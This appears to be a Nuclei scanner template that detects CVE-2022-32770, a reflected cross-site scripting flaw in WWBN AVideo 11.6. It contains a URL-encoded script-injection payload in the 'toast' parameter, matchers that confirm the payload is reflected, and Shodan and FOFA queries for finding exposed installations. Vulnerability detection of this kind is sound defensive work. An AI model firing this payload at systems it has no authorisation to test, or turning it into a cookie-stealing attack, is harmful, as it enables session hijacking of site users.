id: CVE-2022-32770

info:
  name: WWBN AVideo 11.6 - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    WWBN AVideo 11.6 contains a cross-site scripting vulnerability in the footer alerts functionality via the 'toast' parameter, which is inserted into the document with insufficient sanitization.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://talosintelligence.com/vulnerability_reports/TALOS-2022-1538
    - https://github.com/WWBN/AVideo/blob/e04b1cd7062e16564157a82bae389eedd39fa088/updatedb/updateDb.v12.0.sql
    - https://nvd.nist.gov/vuln/detail/CVE-2022-32770
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-32770
    cwe-id: CWE-79
    epss-score: 0.03494
    epss-percentile: 0.87978
    cpe: cpe:2.3:a:wwbn:avideo:11.6:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wwbn
    product: avideo
    shodan-query:
      - http.html:"AVideo"
      - http.html:"avideo"
    fofa-query: body="avideo"
  tags: cve2022,cve,avideo,xss,wwbn,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?toast=%3C%2Fscript%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'text: "</script><script>alert(document.cookie);</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a0047304502207e2f368e06aa96baa42f5c4cbd245c314bfb634ef9d97e3aeaf4ba385d823b10022100facdcaa45157a5534973ff5b4480f43d4e4ec91457e4e5c109ce5820e8938849:922c64590222798bb761d5b6d8e72950